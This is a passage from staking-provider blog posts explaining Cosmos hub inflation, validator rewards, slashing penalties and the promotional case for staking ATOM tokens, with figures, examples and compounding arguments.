consumers and service providers. Developers, entrepreneurs and buyers who want to utilize the advantages of Cosmos ecosystem. Many different hubs can co-exist. To go further we can compare the network with a nation where there is a national hub with cities and zones each acting as smaller hubs within it and the possibility to join with the secure hub (Cosmos) if needed. Activity of this group measures the overall value of the network and can have a significant impact on demand for the token, transaction fees, workload and so on.<h1 id="cosmos-hub-economy-and-reward-distribution">Cosmos hub economy and reward distribution</h1>Cosmos hub economy relies on the inflationary approach. The target annual inflation rate represents the percentage from total supply that is changing each block. If the total bonded stake is less than <code>66%</code> of the total ATOM supply, the inflation rate will slightly increase until it reaches a maximum of <code>20%</code> or the total bonded stake climbs higher than <code>66%</code>. In this case, the annual inflation will decrease to <code>7%</code> depending on ATOMs participating in bonding. New tokens incentivize participants to secure the network. The more tokens locked via staking the higher the threshold for initiating a successful attack.There are two fundamental streams of revenue for validators:<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/2-18.png" class="kg-image" alt loading="lazy" width="705" height="560" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/2-18.png 600w, https://p2p.org/economy/content/images/2020/09/2-18.png 705w"></figure><ul><li>Block reward, which distributing amongst all validators proportionally to their voting power. This reward is paid in ATOMs and depends on the current annual inflation rate, which varies each block with the frequency of average block time. In the future, this reward can be split between ATOMs and Photons that will play the role of a secondary token with the purpose of transaction fee payment only, decreasing the velocity and liquidity of ATOMS and making a 1/3 attack more expensive. Inflation of Photons is expected to be fixed and equivalent to <code>500</code> tokens per hour. Currently Photons are not available but could be activated with specific implementation and distribution method by the community via governance.</li><li>Transaction fees form in each block and proposer gets <code>1%</code> or <code>5%</code> depending on the number of precommits included. The frequency of proposing blocks is proportional to the voting power of a validator. Before fees distribution, <code>2%</code> goes to a reserve pool. These funds can be spent on network development or other activities by voting. Currently transaction fees are close to zero as the network is still in an early stage of adoption. In the future, it will be possible to receive fees in other whitelisted tokens than ATOMs in Cosmos ecosystem. The amount of fees will depend on gas prices and usage of the network.</li><li>Validator’s commission rate represents a percentage from both streams of revenue that delegators pay to a validator. Delegators reward streams are the same as for validators less the commission percentage.</li></ul><h1 id="penalties">Penalties</h1>In some circumstances occurs slashing of bonded ATOMs. Penalties should increase the responsibility level of participants who are directly involved in decisions associated with network security. Validators have no control over delegator’s stake but if such an event happens both parties lose a percentage of their tokens. This is in order to prevent misbehavior and negligence from validators and bring incentives to delegators to diversify amongst them, perform proper due diligence and choose wisely.<ul><li>The first reason a stake can be slashed is double-signing a block. This means that a malicious node is broadcasting two blocks with different content for the same height. The penalty for that is currently set at <code>5%</code> and the validator who is responsible for that drops out of validators set. All ATOMs enter an unbonding (process of undelegating ATOMs from validator) period that lasts for <code>21 days</code> and within this period the stake will not earn provisions and transaction fees.</li><li>If a validator fails to sign more than <code>95%</code> blocks in a row of <code>10000</code> due to inactivity, <code>0.01%</code> of the bonded ATOMs will be lost and the validator will be jailed for <code>10 minutes</code> without allowance to participate in consensus and be eligible for rewards.</li></ul>If slashing happens, it decreases stake and leads to fewer ATOMs paid as a reward.<h3 id="example">Example</h3>Let’s compare three imaginary validators. Assume that delegator bonded equal amount of ATOM to each. Slashing decreases the amount of stake thus meaning a proportional decrease in ATOM provisions since the event has taken place.For example, validator 1 <code>V1</code> was caught on a double sign and slashing occurred on the 60th day. After unbonding, the rest was staked with the same conditions to another one. Validator 2 <code>V2</code> had three liveness slashes on the 30th day with a 2-day recovery period and an inability to fix the issue, on the 60th and 180th days being offline for one day each. Validator 3 <code>V3</code> had no such events in place.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/3-17.png" class="kg-image" alt loading="lazy" width="779" height="265" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/3-17.png 600w, https://p2p.org/economy/content/images/2020/09/3-17.png 779w" sizes="(min-width: 720px) 720px"></figure>Overall results show that validator with a higher commission and honest behavior performed better than validators with stated slashing events. In this example we have not taken compounding into consideration. Every slashing event may decrease the confidence of delegators and may lead to immediate re-delegation to another validator. That will cause fewer commission rewards in ATOM for validator and can lead to inability to maintain secure infrastructure in future.<h1 id="recommendations-for-delegators">Recommendations for delegators</h1>Every delegator is self-responsible for the financial decisions made. To choose the proper validator and understand misbehavior risks it is important to read the full conditions of the delegator agreement and find out the validator’s policy on this topic.<ul><li>Security audit that proves the stated level of security that should decrease the probability of a key compromise that may lead to double-sign.</li><li>Check for an available roadmap of future steps to increase the security or transparency of annual expenses on upgrades and improvements.</li><li>Skin in the game proves that the validator puts their own funds at risk as well. The higher the percentage of their stake the more responsible the validator should be and if slashing does occur he will lose his own ATOMs and .</li><li>Compensation policy. Are there any payouts or bonuses from the validator’s side in case of a slashing event?</li><li>Diversification amongst 3-7 validators who operate in different countries and utilize different hardware. It sounds like a good idea, as it decreases amount of stake in case of slashing, increases overall network security and brings voting power diversification as well.</li></ul>Do not forget to re-delegate your ATOM rewards in order to maximize profits and take advantage of the compounding.<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Stake ATOMs with us:<a href="https://p2p.org/cosmos?ref=p2p.org"> https://p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram: <a href="https://t.me/p2pvalidator?ref=p2p.org">https://t.me/p2pvalidator</a>

Alex Bondar

from p2p validator

Cosmos, Economy 5 reasons to stake your atoms

On the date of publishing <code>~69%</code> of current total atom supply is locked in staking meaning that for the rest, their holdings are considered more as speculative rather than potentially revenue generating assets. Most of Proof-of-stake (PoS) networks sometimes offer attractive yield nominated in native tokens. An effective and reasonable relation between risk and reward assists in achieving the implied level of network security and create economic incentive for delegators to lock their holdings if they believe in the value proposition of the token in the long term. Staking yield provides a reliable revenue stream for validators operating the network.If short term expectations about token price are bearish and speculators see a possibility to repurchase more tokens in future and this amount exceeds the expected return on staking (RoS) nominated in USD for a particular period of time then the reason to lock-up holdings in staking can be less attractive than just to hold and be ready to sell when emotions are high. It can be true for even long-term believers who consider such speculation as an opportunity to increase the overall network share as well.<h1 id="1-not-staking-missing-opportunity">1. Not staking = missing opportunity</h1>Not staking today may be considered as a missed opportunity to earn rewards tomorrow. The higher the belief in the long-term value growth the less speculation happens in the short term and more people agree to get higher benefits in the future. Atoms are not speculative assets and can be defined as units subject to inflation, generating revenue from transaction fees thus providing an incentive to actively participate in staking, securing the cosmos hub. Validators of cosmos hub will earn fees by validating on other chains in cosmos ecosystem and sharing security with them. Until Inter Blockchain Communication (IBC) and shared security features are not active, transaction fees are close to zero, short term ATOM value may fluctuate.However, from pure speculators tokens will go over to the long-term participants and their attempts to sell high and buy low may fail. Volatility expectations may become less interesting than staking or even erroneous, which will lead to a missed opportunity to jump into the leaving train. Unbounding also makes funds illiquid for three weeks and decreases the speculative attractiveness of ATOM.Some short-term traders prefer to store their tokens on exchanges. Even if exchange offer staking opportunities it is not secure because the person has no control over the holdings. Sometimes exchanges suffer from hacking attacks. The recent accident with Binance confirms that that exchanges are not the best option to store funds.If you believe in the ability of ATOM to gradually increase earnings in the long run, then buying low, adding on deeps and immediate staking with reinvesting rewards in order to increase overall share in the network can be a more reliable strategy, which can provide higher gains from transaction fees in future.<h1 id="2-inflation">2. Inflation</h1>To get rid of confusion, annual inflation is not the same as annual RoS. Inflation is a mechanism, minting rewards that go to stakers as a percentage of total ATOM supply. As a result, it dilutes a share of the network of speculators and passive holders.Annual ATOM provisions and annual RoS depend on initial parameters determined in genesis. lnflation percentage was set at <code>7%</code> from total supply. This number is slowly increasing and can go up a maximum <code>13%</code> and reach <code>20%</code> to incentivize staking until <code>67%</code> of ATOM supply will be bonded.If staking ratio is <code><67%</code> then annual inflation change in the moment can be defined with a following calculation: <code>7% + 13% * (67% - staking ratio)</code>. If staking ratio exceeds <code>67%</code> then inflation will gradually decrease.Validator ATOM provisions occur every first block of a new hour. These provisions are based on the estimated number of blocks in a year. When cosmos network first launched mainnet this number was calculated with the assumption, that average block time will be <code>5 sec</code>.By dividing the quantity of seconds in a year by average block time, we get the estimated number of blocks in a year. Calculated yearly ATOM provisions are evenly distributed to the blocks. After launch, it became clear that actual average block time is higher and stakers will get fewer amount of ATOMs than it planned. That is why the first proposal was about adjusting the number of blocks in a year with <code>6,75 sec</code> which is much closer to the actual block time.After we have figured out ATOM provisions per block we can find overall annual RoS. These rewards go only to participants who are involved in staking. If all ATOMs are locked in staking then everyone gets an equivalent amount of tokens and there will be no additional benefit relative to each other. In this case, annual inflation will be the same as annual RoS and no one will be diluted or rewarded.Otherwise, we need to include staking ratio in our calculation. <code>Annual RoS = annual inflation / staking ratio</code>, where <code>staking ratio = staked ATOMs / total ATOMs</code>. In fact, additional rewards that go to delegators from inflation are ATOMs intended for those who do not stake. In that way, net earnings are the difference between annual RoS and annual inflation rate. Passive holders are penalized by inflation and their share of the network is diluted and redistributed amongst delegators.<h3 id="example">Example</h3>Let's make it clear and simple to sum up the information written above. Imagine that we have total ATOM supply equal of <code>100</code>, annual inflation is <code>7%</code> (assume it is not changing), staking ratio is <code>20%</code>. Four participants have <code>20</code> <code>20</code> <code>20</code> <code>40</code>. Annual ATOM provisions from inflation equal <code>7</code> and total supply at the end of the first year will be <code>107</code> ATOMs.Only one participant with holdings of <code>20</code>ATOMs bonded. For these conditions, we observe the following parameters.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/1-12.png" class="kg-image" alt loading="lazy" width="698" height="179" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/1-12.png 600w, https://p2p.org/economy/content/images/2020/09/1-12.png 698w"></figure>The first participant <code>P1</code> increased his network share by <code>5%</code> but also he decreased the distance from <code>P4</code> by <code>8%</code>. If we change staking ratio from <code>20%</code> to <code>60%</code> we will see the following results.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/2-15.png" class="kg-image" alt loading="lazy" width="698" height="180" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/2-15.png 600w, https://p2p.org/economy/content/images/2020/09/2-15.png 698w"></figure>You can notice that gains in network share of staking participants are equal to the loss of passive holders.<h1 id="voting-power-and-network-decentralization">Voting power and network decentralization</h1>Cosmos network is a community driven project where all important solutions are accepting or declining via on-chain governance process. These decisions can have an enormous impact on token holders and other players. Participation is mandatory for validators but not for token holders. By staking, delegators transfer the voting rights to a validator. The higher the voting power the higher the influence on the results of the governance process. If a delegator does not agree with the decision of a validator he delegated to, then he is still able to cast his own vote subtracting voting power in this particular proposal from the validator.If a delegator has no intention to participate in governance then his stake will increase the voting influence of validators he bonded. If such power is distributed unfairly and a small number of validators control too much, it can lead to centralization of the voting process. Situations like <a href="https://www.evanvanness.com/post/184616403861/aragon-vote-shows-the-perils-of-onchain-governance?ref=p2p.org">Aragon experienced</a> undermine believef in the healthy decentralization and fairness of on-chain governance.Currently there are <code>100 validators</code> in the cosmos hub participating in consensus and the top 6 of them control <code>~36%</code> meaning they can possibly collude and cast a veto, declining any healthy proposal. To avoid that cosmos hub delegators are able to transfer their voting rights in order to support the sustainability of the network increasing voting power distribution amongst validators.Delegating to various validators is much better for the network than not delegating. In addition, it helps to decrease <a href="https://p2p.org/economy/slashing-overview-in-cosmos-network">slashing risk</a> for the stakers. The cosmos network is still in the early stages and new active participants may come as the project evolves so power distribution can change drastically in the future.<h1 id="4-compounding">4. Compounding</h1>Compound interest may serve as an effective tool for increasing the share of the network in the long-term. Walter Schloss, a famous notable disciple of the Benjamin Graham school of investing said:<blockquote>Remember the power of compounding. You don’t need to stretch for returns to grow your capital over the course of your life. Even small gains matter. By re-delegating your rewards you increase the overall return from year to year. The longer the period, the bigger the difference.</blockquote><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/3-14.png" class="kg-image" alt loading="lazy" width="1180" height="620" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/3-14.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/3-14.png 1000w, https://p2p.org/economy/content/images/2020/09/3-14.png 1180w" sizes="(min-width: 720px) 720px"></figure>RoS depends also on the frequency of re-delegating. The most common re-investment frequencies are <code>year</code>, <code>quarter</code>, <code>month</code> and <code>day</code>. We know, that in theory, <a href="https://www.investopedia.com/terms/c/continuouscompounding.asp?ref=p2p.org">continuous compounding</a> can offer the highest return and the higher the frequency the higher the percentage in the end.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/4-9.png" class="kg-image" alt loading="lazy" width="1180" height="590" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/4-9.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/4-9.png 1000w, https://p2p.org/economy/content/images/2020/09/4-9.png 1180w" sizes="(min-width: 720px) 720px"></figure>However, in some cases in crypto networks it could be incorrect. To re-delegate ATOM rewards you need first to withdraw them manually. To conduct this operation you need to pay a transaction fee. After withdrawal another fee occurs when you stake your rewards. So if you are not a big fish and don't have a big stake then withdrawing too frequently can lead to a situation where small fractions of pending rewards may be less than the transaction fees or the difference may be too small and not make sense.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/5-9.png" class="kg-image" alt loading="lazy" width="1180" height="590" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/5-9.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/5-9.png 1000w, https://p2p.org/economy/content/images/2020/09/5-9.png 1180w" sizes="(min-width: 720px) 720px"></figure>Monthly compounding looks like the most optimal frequency to re-delegate ATOM rewards. However if the stake is higher than <code>3000 atoms</code> re-investing on a daily or weekly basis becomes more reasonable with stated RoS of <code>~12,2%</code>.<blockquote>"Compounding matters and does so far more than people expect. The human brain thinks in a linear way which means that if we were asked to estimate what <code>10.22%</code> (close to current annual yield of cosmos network) compounded over <code>100 years</code> would be then our answer is likely to be closer to <code>1,022%</code> than <code>1,679,600%</code>, something economists call exponential growth bias. This means that compounding is often underestimated and should be at the heart of long-term investing" Marathon Asset Management</blockquote><h1 id="increase-of-stability-and-network-security">Increase of stability and network security</h1>As pointed in the <a href="https://p2p.org/economy/introduction-to-cosmos-economy">previous article</a>, cosmos ecosystem utilizes tendermint consensus. It achieves absolute finality and any block that receives <code>>2/3</code> pre-votes and pre-commits are considered as valid. If <code>>1/3</code> malicious validators collude they can cause a fork. Off-chain coordination will allow honest validators to make a reorganization proposal as it would not be possible to perform on-chain as the malicious group will be able to veto every proposal.The resiliency and overall network protection depend on the staked tokens. In theory, bad actors should accumulate enough voting power and the cost of such an attack is higher when more ATOMs are bonded. Currently to accumulate <code>>1/3</code> of voting power and execute a successful censorship attack, bad actors need <code>~56 000 000 atoms</code>. That is equivalent to <code>~300 000 000 USD</code>.<h3 id="to-sum-up-everything-written-above-we-can-conclude-that-">To sum up everything written above we can conclude that:</h3><ul><li>Staking saves you from inflationary dilution of the network share</li><li>Staking early increases your ability to earn higher rewards in future</li><li>Smart staking helps the network to achieve higher decentralization of voting power</li><li>Compound interest on staking rewards work for you and increase your network share</li><li>By delegating, you increase the network security and support reliable project evolution in the long-term.</li></ul>Special thanks to <a href="https://twitter.com/Asmodat?ref=p2p.org">@asmodat</a> for bringing clarity to the inflation part of this article<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.<hr>Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Stake ATOMs with us:<a href="https://p2p.org/cosmos?ref=p2p.org"> https://p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram:<a href="https://t.me/p2pvalidator?ref=p2p.org"> https://t.me/p2pvalidator</a>

Alex Bondar

from p2p validator

Subscribe to P2P-economy

Blog